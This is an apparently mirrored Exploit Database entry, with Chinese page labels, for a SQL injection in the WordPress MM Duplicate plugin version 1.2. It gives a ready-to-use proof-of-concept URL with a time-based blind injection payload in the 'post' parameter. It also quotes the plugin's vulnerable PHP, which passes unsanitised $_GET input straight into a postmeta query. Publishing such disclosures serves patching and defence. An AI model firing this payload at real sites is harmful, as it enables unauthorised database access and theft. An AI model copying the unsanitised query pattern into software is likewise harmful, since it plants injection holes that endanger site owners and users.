WordPress Plugin MM Duplicate 1.2 – SQL Injection

• Exploit Database
• 11 阅读

• 作者： Miroslav Stampar
  日期： 2011-08-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17707/

• # Exploit Title: WordPress MM Duplicate plugin <= 1.2 SQL Injection Vulnerability
  # Date: 2011-08-22
  # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
  # Software Link: http://downloads.wordpress.org/plugin/mm-duplicate.zip
  # Version: 1.2 (tested)
  
  ---
  PoC
  ---
  http://www.site.com/index.php?duplicate=1&post=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
  
  ---------------
  Vulnerable code
  ---------------
  class mm_duplicate_pages_posts
  {
  ...
  function mm_duplicate_pages_posts()
  {
  ...
  add_action('init', array(&$this, 'dup'));
  ...
  }
  
  function dup()
  {
  if($_GET['duplicate'])
  {
  $id = $_GET['post'];
  $dup = new mm_duplicate();
  ...
  $dup->duplicate_post_page($id);
  }
  }
  ...
  }
  
  class mm_duplicate
  {
  function duplicate_post_page($id)
  {
  ...
  $select = "select * from ".$wpdb->prefix."postmeta where post_id = $id";
  ...
  }
  ...
  }